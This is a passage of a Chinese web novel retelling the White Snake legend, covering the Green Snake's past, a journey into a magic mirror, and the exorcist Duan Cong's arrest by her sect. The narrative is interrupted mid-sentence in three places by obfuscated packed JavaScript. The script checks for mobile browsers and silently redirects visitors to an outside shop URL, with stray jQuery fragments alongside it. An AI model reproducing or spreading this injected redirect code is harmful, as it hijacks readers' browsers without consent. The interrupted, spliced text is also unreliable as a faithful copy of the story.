她找了。而他也如她所希望的那样爱上了她。 她去他的保安堂,伴他身侧,帮他开方、抓药,二人琴瑟和鸣、相敬如宾,是人人口中一对羡煞鸳鸯的好夫妻。 可是她竟忽略了,当日念念不忘的,不只有她,还有小青! “你也喜欢他,可是你怪姐姐没有把他让给你,是吗?你爱他,爱的越深,恨的便越切,所以你要毁了他,因为你觉得自己永远都得不到他。”白蛇低声道,语气中带了几分苦涩。 青蛇听她如此说,先是愕然了一瞬,接着不知想到什么好笑的事,大笑起来。 “小青,姐姐愿意把他让给你。”白蛇悲伤却又恳切的道。 一旁的段匆惊了:??? 这两蛇一人,你爱我我爱他的,为着自己的私欲,随意祸乱钱塘江,害的无辜幼童葬身洪水。如今,还玩出什么将丈夫随意让人的戏码??? 果然,妖怪的思维是常人无法理解的! 而许仙也同样的惊了:“小白,你……” 那白蛇道:“小青爱你,我是她姐姐,我不能与她抢。” 许仙:“……但我不愿意,我许仙既与你结发为夫妻,便再无抛弃你、另与他人在一起的打算。” ……眼看事态越来越往狗血的地方发展,周遭百姓们脸上的表情也俱是十分的精彩,诧异有之,感动亦有之。段匆默默的将大家往后搡了搡,避免误伤,然后挪动到一个离青蛇比较近的位置,找准时机—— “唰”的一声,李刻青的折扇如刀一样飞出去,将青蛇胸前割出一道深深的口子。 青蛇低头看了一眼,只嘲讽一笑,并无什么疼痛的表情。 倒是白蛇,蓦地挡在青蛇身前,道:“不要杀她。” 不杀她还杀谁?!捉妖师的使命本就是杀妖,更何况是这么坏的一只妖!段匆道:“你若是铁了心包庇她,那我连你一起杀。” 她这一说不得了,许仙慌忙挡在白蛇身前,他一个只会看病救人的大夫,今日乍然得知自己的妻子是妖怪,妻子的妹妹也是妖怪,又经历了这恐怖如野兽的钱塘江水,还见识了许多奇奇怪怪要人命的法术,说不害怕是不可能的,他的脸都发白了。只是,此时他仍旧挺直了腰背,一副铁了心的模样,道:“如果……姑娘真的要杀小白她的话,那么就先杀了我吧。” 段匆:“……” 百姓们也都无语了:“……” 大家叽叽喳喳、七嘴八舌的议论道:“青蛇一定得杀,这白蛇么……” “也该杀!” “可是,白娘子她是个好人啊……这几年来,大伙儿谁见她做过什么坏事?” “那可说不准,妖怪毕竟是妖怪,今日虽不害人,但谁能保证她明日不害人?” “是这个理,反正以后,保安堂我是不敢再去了。” 白蛇静静听着,并无反驳,自她蛇妖身份暴露的那一刻,她就没有奢望什么好结局了。 她道:“小青祸乱钱塘,犯下大错,固然不可饶恕。可我是她的姐姐,她做了错事,责任更多在我,是我忙于保安堂事务,对她疏于管教。所以,如果要惩罚的话,我愿意代她受过。” 段匆道:“可我们是要她死。” 白蛇道:“我代她死。” 且不说大家都觉得这话很荒谬,青蛇也觉得可笑极了:“哈哈哈哈!哈哈哈哈哈哈!姐姐,你当真以为你是我亲姐姐么?当真以为我与你有多大的干系么?” 小巧的镜子高高升起在空中,金光普照。 “大王!听闻凡间可有趣了!”小花妖蹦蹦跳跳、手足舞蹈道。 一个懒洋洋的男子声音从树上响起:“人间有什么好?有我这青峰山好?” “不是呀!”小花妖来到大王身边,“青峰山当然很好啦!” 这里有千年古树,古树的根须又长又结实,可以让他们荡秋千;这里还有美味的浆果、甘甜的清泉,还有七彩的小鸟儿,将它们驯化后,便可以成为自己独有的坐骑……青峰山的好,是一生一世也说不完的。 可是,小花妖道:“大王,人间和青峰山是不一样的好。” “我听说,那里有平滑瑰丽的锦缎,有闪闪发光的夜明珠,有人来人往的元宵节,有热乎乎的元宵,有臭烘烘的豆腐,有甜甜的糖葫芦,还粘牙呢!” 小花妖越说越向往:“我还听说,人间的男子与女子会用一张纸结下一门姻缘。” “哦?姻缘?能干什么?”男子的声音中也带了些好奇。 小花妖道:“听说结了姻缘的男女,就是夫妻了。既是夫妻的话,他二人这一生一世便不能再抛弃对方,二人要互相扶持、生死不弃、白头到老。” 男子冷嘲道:“就这样吗?无聊。” 小花妖两眼亮晶晶:“大王,可是我觉得很有意思啊,我想去人间看看,大王……你去吗?我们一起去。” 男子道:“我不去。” 人间有什么好,他好好的青峰山的王不做,去那里干什么?更何况,那里凡人扎堆,浊气聚集,恐怕恶臭连天、人连闻都不愿闻一闻。 小花妖却仍旧十分的向往。 青峰山以前是没有王的,但是,那时候有许多法力高强的大妖怪,成天欺负他们这些法力微弱的小妖。直到有一天,大王来了,将那些坏妖怪通通打败,青峰山这才有了安宁。 大王虽然在青峰山称了王,可他却并不恃强凌弱、从来都没有强迫或者欺负过他们,小花妖对他很是感激。 它走了两步,想了想,又回过头,对大王磕了结结实实的三个响头,磕的它花瓣都卷边儿了。 “大王,溪月去人间啦。” 大王动都没有动一下。他躺在那颗古树上,只露出一双黑色的靴子尖来。一阵风拂过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060189|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从树上垂下来的衣摆随风轻轻的摇晃了两下。 冬天,青峰山变得白雪皑皑,银装素裹。 春天,积雪消融,冬眠的小妖们纷纷从洞穴里爬出来,大家热情的打招呼:“好久不见啦!” “好想你啊!” “我更想你!” “哎?怎么少了一个人?” “是溪月吧,呱?” 小花妖溪月没有回来。且从此再也没有回来。 青峰山的妖怪们交头接耳,议论纷纷:“人间真的那么好吗?” “应该是很好的吧。不然,溪月为什么去了人间就再也不愿意回来?” “那个丫头,哼,也太忘恩负义了……” “这叫见色忘义吧,呱……” 一个脚步声越来越近,一双黑色的靴子尖出现在大家眼前。大家抬起头,男子眉眼狭长,带着几分慵懒和矜贵。大家纷纷开心唤道:“大王!”“大王你来啦!” “嗯,”男子随意点点头,道:“我有事要出趟门。” “大王、大王你去哪里呀?” “……”男子沉默片刻,道:“人间。” 小花妖溪月其实并不难找。 她虽化成人形,掩了妖气,但身上那股甜腻的花香味,一直伴随她左右。 青蛇在一个小镇子里找到了她。 彼时恰逢傍晚,家家户户升起炊烟,青蛇吸了吸鼻子,心道:“果真是臭的。” 但好像也并不是臭到不能忍受。 青蛇在一扇木门前停住了脚步。木门已经有些年头了,上面的红漆掉落,斑斑驳驳。 不知是何时开始下起了雨,淅淅沥沥的雨丝缠绵的落在青蛇肩膀上,打湿了他的发。 “笃笃笃。” 他敲响了门。 里面并无动静。他加大力气、再敲一次。 这次,里面的人好像终于听到了,急匆匆的脚步声赶过来,木门发出厚重的嘎吱一声。 “你……” 门里大着肚子的女人愕然了好一会儿。 “大王!”她激动叫道。 青蛇嗯一声,这小花妖喜的不知怎么办才好,忙叫青蛇进屋坐,给他泡了一壶热茶,转眼又看到他的衣服被打湿,不由道:“大王,外面下着雨,你怎么不先避避呢?” 青蛇把玩着手中有一个豁口的茶杯,道:“雨不避我,我又何须避它?” 溪月笑一笑。 自她离开青峰山已经三年了,大王看起来一点都没变。可是她却不知道自己已经变了许多了。青蛇回想起她以前的笑,是和花一样明媚且单纯的,而如今,却显得很是含蓄温婉,连牙齿都不露出来了。 “家里也没什么好东西,”溪月端来一个竹篾子,里头盛着瓜子、红枣、花生,还有几包方方正正的糖瓜:“大王,你先尝一尝这些小吃食,我去做饭。” 青蛇本想说不用,但看她神色很是激动,大概的确想好好招待他一番。于是不作声,由她去了。 油烟味渐渐的从厨房弥漫出来,青蛇坐在桌边,忽而,听到某个地方有滴滴答答的雨声。 他站起来,在这间简陋的屋子中巡视一圈,终于发现在那张破旧狭小却又十分干净的床边,放着一只木盆子。他抬头,看到屋顶上的青瓦破了一个小洞,雨水汇聚、从那洞口掉下来,掉在木盆子里。 青蛇手中灵光一闪。 雨不再漏了。 急促的脚步声在院子里响起,一个男声叫道:“娘子!我回来了!” 39. 第36章 青蛇大失所望。 这个男人,容貌平平,衣服上沾满泥水,手中还很滑稽的拿着两块红色的瓦片。他兴奋的将这瓦片举起来,就好像是什么稀世珍宝:“娘子,梯子你借了吗?我待会儿就去把上面补起来……” 看到青蛇,他呆住了:“这位是……” “这是……这是我的一个哥哥。”溪月正好做好了饭,端着三碗阳春面出来,道:“先把你这衣服换一换,吃个热饭,再补也不迟。” “不急!你们先吃!”男人惦记着那个洞,大半夜漏雨,总是吵得溪月睡不着,想先把它补好再说。但他瞧一眼那个木盆子,却发现里面并没有盛到雨水。他有些疑惑的左右挪了挪:“是没接准吗?” 可是,其他地方,也没有漏雨。 男人愣了愣。 溪月已经知道是怎么回事,忙笑道:“它好像自己好了。那正好,不用我们多管了,来,换衣服吃饭吧。” 男人被她推去换衣服,还不解的喃喃:“怎么会突然好了呢……” “大王。”溪月有些不好意思的笑了笑:“让你见笑了。” 青蛇默默不语,用筷子搅动他那碗面。那下面,卧着两个金黄的荷包蛋、还有一大片肥而不腻的扣肉,散发出浓浓香味。可是,溪月和那男人的碗中,却只有寥寥几朵葱花,除此外就是素素的面条了。 “大王,不好意思,我们家……拿不出更好的东西来给你吃。”溪月眼睛好像有些红。 青蛇道:“我并不嫌弃。”他问:“这肉和蛋是你借来的吗?” 溪月低着头:“大王你怎么知道……这是我借隔壁王婆家的。” 青蛇便不再言语,埋下头,大口吃完了他这碗面。溪月觉得安慰几分,好受了些。 男人换好衣服出来,正好看到青蛇站起来,拍拍衣服道:“我走了。” 男人急道:“怎么这就要走?哎呀,不多待会儿吗?对了娘子,咱们家备的那些年货呢,拿出来让你哥哥带些回去吧……” 溪月把那竹篾子捧起来,道:“已经拿出来了,在这里。” 男人从里面抓起一大把瓜子红枣,又把糖瓜都抓起来,然后拉着青蛇,死活要让他带走。 “路上吃,路上吃。”他道。 青蛇道:“不用,你放回去吧。” “哎呀你就带着吧,我们家也没别的好东西了……”男人又殷切又愧疚的说着,青蛇眸色变深,冷冷道:“我说了,不用!” 男人愣了,溪月这个哥哥好像有些讨厌他。 溪月忙对男人说:“没事,你吃饭吧,我去送送他。” 两人走出这院落。溪月撑一把破旧的油纸伞,要给青蛇打伞。青蛇摇摇头,任细细的雨丝落在他的身上。 到了门口,青蛇道:“你回去吧。” 溪月低着头,愧疚道:“对不起,大王。” 青蛇说:“没事。” 溪月道:“青峰山上的大家,都好吗?” “好。” “他们有念过我吗?” “有时会忘记,有时又会想起。”青蛇道,转而,眸中有些不解:“这就是……你说的人间?” 他道:“我觉得一点也不好,你觉得好吗?” 溪月摸了摸自己的大肚子,又回过头,看了正狼吞虎咽吃面的丈夫一眼,微笑了:“三年前我第一次下山,看到路边有人在卖那种圆滚滚的、白胖胖的东西,正是我和大王所说的人间的元宵。我便说,我想尝尝。卖元宵的那人朝我笑一笑,道,要三十文呢。” “我不知道什么是三十文,我也没有这样的东西,于是我便说,我不吃了。结果没料到,那时正遇上他给别人家干完活,也来这里吃一碗元宵暖一暖,他说,他请我吃一碗吧。” 后来,便是很平常的发展了。他们相恋、成亲,在今年初,她怀了孕,想来过不了多久就要生产。 “他家里很穷,只有这么一方破破烂烂、缝缝补补的小院子。虽然他很辛苦的为别人干活,可赚的钱仍旧不多,买不了什么好吃的东西,我怀孕这些时日来,他总是说,愧对了我们娘儿俩。他是个大老粗,不认得字,不会熟读诗书、出口成章,有时我也为了一些小事觉得委屈,偷偷的躲起来哭,可他呀,心太大了,永远不能理解我为什么哭,只会用他那长满茧子的大粗手给我抹泪……那手和砂纸一样,刮的我脸疼。” “虽有许多不好,可是他却又待我很好。我们过的很清苦,可是只要有一点点好东西,那么他一定情愿都给我。我讨厌的,他一定也讨厌,我喜欢的,他一定也喜欢,你看大王,我说你是我的哥哥,他便也会掏心掏肺的待你好。而且,每年元宵节,他也不忘带我去当初的那个地方,请我吃一碗元宵。” 青蛇道:“这就让你心甘情愿留在这里了吗?” 溪月顿了顿,轻声道:“是。” “大王,这里的生活没有那么好,可是也没有那么不好,我不再是青峰山上自由自在、无忧无虑的小花妖,我开始为生活的苦难发愁,也为生活的甜蜜幸福。我来之前,以为人间从没有痛苦,人间只有快乐,我来了之后,才发现人间三千红尘,并不如我听说的那样,一味只是快活。可或许,大王,这才是真正的人间。” 屋内,男人放下筷子,转过头,静静的凝视着妻子和她的“哥哥”。 他伸开手心,那里面有一只散发着金光的铜镜,还有一张用鲜红丹砂画就的符纸。那法海和尚的话浮现在脑海:“如果不信的话,就从这只铜镜中看她。在铜镜中,任何妖物都会现出原型。” 男人犹豫一下,终于竖起铜镜。 他清晰看到铜镜中的画面,是一朵嫩黄色的迎春花,还有一只碧青色的,鳞片被细雨打湿、闪着细小光泽的青蛇。 男人的手僵硬了。他拿起那张符纸。 “将这符纸化水,哄她喝下去,不出半个时辰,那妖物便会元神散尽、不得超生。” “嘎吱”一声,木门闭上。 款款的脚步走来,溪月道:“吃饱了吗?” 男人抬头,朝溪月笑了笑:“饱了,娘子,你歇着吧,我去洗碗。” 溪月笑吟吟点点头。 男人端了碗筷,来到厨房,将那张符纸又仔细打量了打量,然后,啐一声,将它撕碎,揉成团丢到了垃圾中。那面铜镜,他走到院外,高高一抛,铜镜被丢了出去。 一双黑靴子停在了那面铜镜前。 青蛇将它捡起来,看到镜面已经被男人捏碎,道道裂痕。他的脸映在其中,并不能显出妖怪的原型了。只是普通的、有些苍白的一张脸。 本想杀了这男人的,但现在看来……竟是不必了。 或许真的,没有那么好。但也没有那么不好。 青蛇将手中沉甸甸的,凡人们口中的年货挂在木门上,转身离去。 青蛇回到山上的时候, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060190|137687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好天黑。 他去人间不过短短一日,却好似已在人间待了数年,心态都有些老成了。夜色笼罩,空气湿润,晚风将花朵和草木的清香一阵一阵送过来。青蛇在青峰山修行千年,这样的味道已然熟悉到了骨子里,可比人间的炊烟好闻多了。 他心道:“果然还是青峰山更合我意。” 忽然,他脚步一顿,神情骤变! 花香中,混杂着一丝淡淡的血腥味! 他的瞳孔闪烁一下,霎时变成细线状的竖瞳。同时,整个身体也变成青蛇的原型,吐出鲜红的蛇信,向山顶逶迤而去。 是一条白蛇,青峰山从未见过的白蛇。 看到他,白蛇似乎很是新奇与亲切,悠悠的朝他爬过来,但可惜还未说话,便被青蛇一尾巴狠狠的抽在脸上。 白蛇惊道:“等等,我不是……” 倒是一个清甜的少女声音,只是,青蛇可并不会因此就对她怜香惜玉。青峰山的小妖们此时纷纷都不见踪影,且这白蛇身上的血腥味最浓,不是她动了杀手,还能有谁?! 白蛇疼的嘶了一口气,回味过来什么,语气变冷:“你是什么人?来这里干什么?” 她竟不听听她在说什么?这里是青峰山,他的地盘,她竟问他来这里干什么? 青蛇冷笑,张开血盆大口朝她撕咬过去,白蛇见他动了真章,也不再多言,拿出全部心力和他缠斗起来。 斗着斗着,二人来到宝现溪旁。蛇妖本擅操纵水,青蛇蛇尾一扬,瞬间卷起一道百米高的水柱;白蛇也不甘落后,在水中盘踞一坐,背后升起一场百米宽的瀑布。 水柱与瀑布相撞,水花崩散,天昏地暗! “别打啦!别打啦!你们别打啦!!!” 青蛇忽然听到这样一个小小的却又声嘶力竭的声音。这是青峰山的青蛙妖,他避开白蛇卷过来的一个水球,问那青蛙妖道:“大家都还好吧?莫怕,待我收拾了这只白蛇!” “不、不是啊,大王!”青蛙妖急道:“是她救了我们!” “……” 空气尴尬的安静了下来。 青蛙妖喋喋不休道:“大王你下山后不久,以前经常欺负我们的那只豹妖便趁机上来,若不是这位白蛇姐姐及时赶到,伸出援手,我们、我们,”青蛙妖伤心抹眼泪道:“我们恐怕都被那豹妖……呜呜呜!” “……”青蛇道:“那豹妖呢?” “呱,死了。”青蛙妖道,“白蛇姐姐杀了它了。” 原来那鲜血竟是豹妖的。而青峰山的小妖们之所以不见踪影,是因为这群不争气的东西被吓跑了胆、东躲西藏、没见他回来便不敢出来。 青蛇道:“抱歉。” 白蛇道:“抱歉?这就完了吗?” 青蛇道:“那你想怎样?” 白蛇道:“我修行千年,法力高强,已经很久都没有遇到过你这样旗鼓相当的对手了。不如,我们继续方才那场比试,若你赢了呢,那这事便当了解了,你也不必再觉得抱歉,可若是我赢了呢……” 青蛇道:“怎样?” 白蛇笑眯眯道:“那你就得做我的侍女、做我的妹妹,常伴我身侧,我做什么,你就得跟着我做什么。” “呱???”青蛙妖惊了:“侍女?!妹妹?!我们大王可是……” “闭嘴。”青蛇道。 他转向白蛇,竖瞳中现出玩味的笑意:“好,成交。” 40. 第37章 “啊???”段匆也懵了。 这青蛇本就是雄性,即使化成人身,那也得是个男子!而且他之前不就是化身成了男子吗!他知道自己是个男人啊!这怎么最后……却化作了女子的模样?! 谢蕴此前女扮男装,那是因为时局所迫。可是这青蛇男扮女装,根本就没有什么苦衷!这就是纯粹的死变态! 正愤愤呢,她忽然觉得一股巨大的吸力从空中的尘缘镜中传来。 再睁开眼时,她发现自己竟身处细雨连绵的断桥头边! “青蛇,你搞什么鬼?你是怎么做到的?”尘缘镜可以窥过往,但是从没有听说过有人可以直接进入尘缘镜!这、这到底是怎么做到的? “只凭我当然做不到。”青蛇出现在她身边,这次倒是以男子的形态了。 段匆道:“那是怎么……” 青蛇冷哼一声:“你这尘缘镜是世间不可多得的法宝,但你可知,除了尘缘镜,世间还有另一面镜子。” 段匆喃喃:“莫非……水月镜?” 人间本混沌。直到有一日,浑浑噩噩飘荡在空中的山野精怪有了自己的意识,开始努力修炼元神,以求强大与永葆青春。这就是最早的妖。 而在妖群出现后不久,人族也随之出现。 人与妖,本来和谐的相处在这片蛮荒大地,但非我族类、其心必异,渐渐的,人与妖生出隔阂、互相仇恨、彼此残杀。 人间第一个天师,自此出现。 那人名为钟乐,听说惊才绝艳,战无不胜。她不仅以一己之力斩杀了当时的妖帝,将妖族赶出了它们居住的白帝城,而且还独创了许多功法与法宝,使之代代流传。 这尘缘镜和水月镜,就是由她所造。 两镜长的十分相似,且都和那钟乐天师的风格一样,简单干净。拿在手中,都只是一面平常的小巧镜子,没什么特别。唯一不同之处,便是尘缘镜和水月镜背面所镂刻的花纹,是相反的。 尘缘镜,窥过往。水月镜,见未来。 当两镜分开时,只能平面的从镜外朝镜中观看。 而当两镜相对相映时,两镜的光辉相互折射,局外人便可以进入镜中。 “小青,下雨了。”船上,一白衣女子抬头看了看青濛濛的天空,有些忧愁的道。 雨并不大,但若是长久的落在人身上,恐怕也会打湿头发与衣衫。断桥上的行人都用袖子遮住头,或步履匆匆的行走着、或小跑着。段匆和青蛇站在桥中央,可所有人都像是没有看见他二人一样。 镜中世界虽如同真的一样,可这毕竟已经是好几年之前的事了。他们只能看着,并没有办法更改这一切的结局。 西湖中,化作女形的青蛇笑道:“姐姐,雨并不大,但走无妨。” 白蛇道:“虽是不大,但总会沾湿衣裙,我们还是先在这里避一避吧。” 青蛇道:“雨不避我,反要我避它?”说话间已走出船舱,上了岸,站在桥边朝白蛇招手:“姐姐,来吧。” 白蛇摇着头无奈又宠溺的笑一笑:“来了。” 可她到底不像青蛇那样自在,还是同大多数行人一样,以手遮面,步履仓促。 忽然之间,绵绵的细雨好像停止了。白蛇放下手,有些讶异的抬头。 却原来并不是雨停了,而是一把红色的油纸伞在她姐妹二人头顶缓缓撑开。撑伞的人书生模样,眉眼温润,带着和缓笑意:“姑娘,可是忘了带伞?” 段匆和青蛇在一旁看着这一幕。 青蛇冷笑一声。 段匆心道:“那白蛇道这青蛇爱慕许仙,可是瞧这场景,他反而是十分的厌憎许仙。更何况,他自己本是个男人,又怎会喜欢另一个男人呢?” 可青蛇若不喜欢许仙,又何至于…… 段匆灵光一闪,恍然大悟! 她道:“宝现溪你与白蛇斗法,到底是输了还是赢了?” 青蛇沉默一阵,道:“赢了。” 但结果却是输了。他修为其实并不在白蛇之下,却故意在宝现溪斗法时输给白蛇,心甘情愿的离开青峰山,将自己化为女形,以姐妹身份常伴白蛇身侧。 镜中的白蛇与青蛇撑着伞,而许仙将伞送给她们后,自己朝着反方向匆匆离开了断桥。 白蛇不时回头、再次回头。青蛇看着她的模样,默不作声。 段匆道:“难怪你会不敌许仙。白蛇分明不愿淋雨,你却让她离开船舱、来到雨中,而许仙却贴心的将伞送给了她。更何况,许仙这书生敢勇敢的说出他喜欢她,可是你从头至尾,却连你的真实性别都不敢告诉她。她还以为你是她的妹妹,她怎么会喜欢她的妹妹!” 青蛇冷冷道:“闭嘴。” 段匆道:“我不闭嘴。我还要问你,你既喜欢白蛇,一开始也愿意放手,成全她和许仙在一起,那么昨夜又为何要祸乱钱塘、意图杀死许仙?更何况,”说到这个她就愤怒了:“你想杀了他自己独占白蛇,可以有一千一万种法子,为什么要用祸乱钱塘这样的方法,连累了多少无辜之人!” 青蛇低头瞧着自己的靴子尖,淡淡道:“只有水灾之时,她去救水,才不会在他身旁。” 段匆简直被气笑了。妖怪的心思就是这么单纯又这么邪恶,他这样轻描淡写的一句,却是多少人的灾难,更别提有个孩子因此丢失了生命! 不过还好,他并未得逞,许仙恰好被她所救。 段匆道:“所以你还是因爱生恨,只不过不是爱许仙,而是爱白蛇。” 青蛇却摇头,段匆道:“我说错了?” 青蛇淡淡道:“我并不是那种人。” 其实从尘缘镜中,段匆发现最开始的青蛇为人还是不错的,懒散之余也有着一点点情义。 可是,自跟随白蛇来到人间之后,他渐渐就变得越来越冰冷和戾气。 段匆奇道:“那究竟为什么,你要杀许仙?” 青蛇不语,只负手凝望烟雨朦胧的西湖水面。 渐渐的,周遭景色变幻,天色越来越黑暗,风越来越大,平静的水面越来越狂躁,最后,一个白衣女子的身影出现在空中。狂风中,她的神色疯狂,早已失去了此前的温婉,她狠狠扬手,白衣衣襟四散,接着西湖水升高—— 不!不只是西湖! 周遭所有的江流湖海,凡是有水的地方,通通被这失控的白蛇操纵起来。她红着眼,失态大叫道:“法海!!!” “放了他!!!” “法海?”段匆被风吹的睁眼都费力,她大声道:“这人也是个捉妖师?” 青蛇:“不错,且是个秃驴。” 段匆:“……他抓走了许仙?” 青蛇:“照他的说法,是保护许仙。” 段匆默默思忖了一下。其实,法海做的并没有错。若是当日的她,看到有一只蛇妖纠缠着一个凡人不放手,那么必然也会认为这只蛇妖心怀不轨。且好心去警告这凡人,这凡人却又无动于衷,死活都不愿相信他的妻子是一只妖。 那么,为了保护这凡人,将他关入金山寺,也是无可厚非的事了。 “法海,我再问你一句,你放人,”白蛇嘶声道:“还是不放人?!” 无人回答,唯有金山寺佛光大盛,隐约有梵音传来。 白蛇朝天大声冷笑,下一刻,化出原型,蛇尾一扬,掀起滔滔大浪,直逼金山寺! 很久很久之后,一切的风浪都停止,段匆轻声道:“她输了?” 青蛇低声:“嗯。” 法海的袈裟是件法宝,它变成一道千里长堤,将大水阻拦在了寺门外。大水涨一尺,长堤就高一丈,大水涨一丈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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青蛇道:“他是。”语气中,那样的凄凉。 五百年,对妖来说,或许难熬,可是终归,五百年之后,妖还活着。 可是,对一个凡人来说,五百年真的太漫长、太漫长了,漫长到不敢去奢望与想象。当雷峰塔终于轰然倒塌,白蛇泪流满面的奔出,想要再寻回她的爱人时……那个人早已消失,魂魄都转世好几个轮回,变得面目全非了。 最后的最后,仍旧是细雨连绵的西湖,仍旧是行人匆匆的断桥头畔,一个白衣女子,撑着一把残破的、露出了伞骨的油纸伞,耐心的等待着、等待着一个永远也不会再到来的爱人。 而她的身后,有一道青色的影子,黑色的靴子,也同样静静的、千万年不变的,陪在她的身侧。 “所以你问我,为什么要杀了许仙,”青蛇声音平静:“因为我早已看到水月镜中的结局。如果这就是爱,那么,我情愿她不曾拥有过爱。” “可是青蛇,”段匆低声道:“尘缘镜窥过往,水月镜见未来。可是,它们都是无法改变的。你既看见了这一切,那么也应该知道,你是无论如何……都不可能更改镜中结局的。这是命,这是定数。” 青蛇闭上眼,沉默不语。 或许他知道,只是…… 他不甘。 段匆伸出手,冰凉的雨丝细细落在她手心。她望着烟雨朦胧的西湖,一时怅然。 如果这就是爱,让善良的白蛇疯狂的淹没了金山寺,让自由自在的青蛇为之束缚、情愿以女子的身份常伴在白蛇身侧,让本可以安稳一世、端坐在保安堂前济世救人的许仙青丝落地、削发为僧,在雷峰塔前扫了一辈子的落叶。 如果这就是爱,让人面目全非,那么,究竟为什么还是要爱? 41. 第38章 “没事,他没有对我怎么样。”出了镜子,面对众人关切目光,段匆道。 她望着此时的白蛇与许仙,他们神色单纯、根本就不知道将来会发生什么。 段匆斟酌片刻,道:“我刚刚……看到了一些事。” 结果倒并不出乎她所料。就算得知未来会被拆散,白蛇与许仙也丝毫不怯缩,许仙道:“如果真的有那么一日,我与小白会分开,那么,如今的朝朝暮暮,每一时每一刻,就更该值得珍惜。”他望着白蛇,神情珍重而复杂。 看吧,水月镜中的结局果然是改变不了的。 段匆又转向青蛇:“你虽有苦衷,但到底犯下罪孽,”青蛇打断她:“好,我认罪。” 他顺从的走到段匆面前,段匆化出道捆妖索,打算将他绑起来。至于究竟杀不杀他,她打算问问有容师姐他们的意见。正此时,青蛇却忽然嘴角上翘,俯身在她耳边。 “我堂堂青峰山主,怎会如此轻易就任你摆弄?” 段匆大惊:“你?!” 青蛇已倏地化回原型,跳入水中。段匆急要去追,却忽然身体收紧、动弹不得。 低头,两道黑色的锁链,将她牢牢捆了起来。 “孽徒段匆,你可知错?” 这声音不大,却沉稳威严,由不得人不敬畏。 两边慌乱的百姓们纷纷让开了一条道,一人缓缓从中走来。只见这人鬓发斑白,五十多岁男子的容貌,着一身雍容庄重的黑衣,不怒自威。 段匆不解:“掌门人?为什么?” 孽徒?她却不知自己犯了何错,竟惹得掌门人如此盛怒,将用来对付妖怪的捆妖索用在她的身上。 “你竟还敢狡辩?罢了,且带你回天门宗,着十三司会审。” 段匆怒了,掌门人这出关的时机可真是巧妙,钱塘水祸的时候他不来,偏偏水祸解决了,他来了。而且一来就放跑了青蛇,他才是该送往十三司受审的人好吗! 段匆道:“我不服!我兢兢业业、潜心抓妖,何错之有!” “不服?”天门宗掌门重明冷笑道:“你与猫妖勾结,是也不是?” 小白!他?段匆蓦然想起,自方才自己出镜子之后,就没有看到过他了。她怒道:“放了他,他什么都没有做!” 重明扬声道:“重明这段时日闭关修行、不问外事,对这孽徒疏于管教,才令她犯下此等过失。今日在此,重明向诸位赔罪了。” 这里的百姓们,都是在洪水之中被段匆救起来的。现在看重明如此待她,心中都有些不赞同,一人大着胆子道:“可她没做坏事啊?为什么抓她呢?修士,您说的那猫妖,我们不知道他是不是妖,但钱塘水祸时,是他和大家伙儿一起挡住了洪水啊。” 重明摇摇头:“妖毕竟是妖。他今日不害人,也明日会害人。” 说罢他一挥手,空中浮出一只玄铁笼子,里面关着一只蔫答答的白猫。 段匆瞬间去抢那笼子:“小白!” 重明微笑向周围人道:“这便是那猫妖。”他挥手,笼子消失。 大家看李刻青的确是一只妖,又看段匆对这妖如此上心,也渐渐的有些信了重明的话。 “那修士,您就带她走吧。” 白蛇和许仙对视一眼,犹豫着。 这时重明已御剑而起、带着段匆离开了。 如果说天门宗有什么地方段匆最讨厌的话,那一定就是十三司了。 天门宗乃一大派,下有十三个小师门。从每一师门中选出一位戒律长□□十三位,由他们掌管司法、决定天门宗弟子的赏与罚。 段匆醒过来,发现自己正身处高高的刑台上,由铁链将她捆在那根曾处罚过许多弟子的刑柱上。 周围,有十三根雕刻着天门宗戒律清规的柱子,十三位戒律长老站在柱上,呈一个圆形包饶着她。下方,天门宗弟子们瞧着她,议论纷纷。 段匆从他们之中看到了一脸忧色的有容师姐,还有焦躁不安的周浮生,神色幽幽的宁芙,还有……他们那不正经的师父周丁异也出关了,正摸着他那一把山羊胡子,急的团团乱转。 “小白!”段匆蓦然想起李刻青,急回头去看,却被紧缚的铁链摩擦到了皮肉,疼的龇牙咧嘴。 “你别动,我在。”刑柱的另一边传来李刻青的声音,能听出来他已经强打了精神,却仍旧十分的无力沙哑。 他们被相对捆在刑柱的正反面,段匆叹道:“不好意思啊,连累你了。” 李刻青缓一口气,叹道:“我本来就是妖,何来你连累我一说?” “是我连累了你。”他道。 段匆摇摇头,又想到他看不见,有些好笑的作罢。 此前她还对他的所作所为十分愤怒,认为自己不过是他所喜欢的那位前世的替身。此时,两人被一同捆在这,她倒是心平气静了,甚至有兴致同他闲聊起来。她猜想道:“我的某一个前世,你曾经喜欢她,甚至深爱她。” 李刻青没有出声,便是没有反驳。 “她曾有恩于你。她或许和你一样爱吃鱼,她好穿红衣,使黑剑,是一位强大的、赫赫有名的天师。她应当心怀大爱,所以你得了她的感召,对人族也心怀仁慈。”说着说着,就连段匆也觉得这样一个女子是极好的。 只是她终究不是那个人。 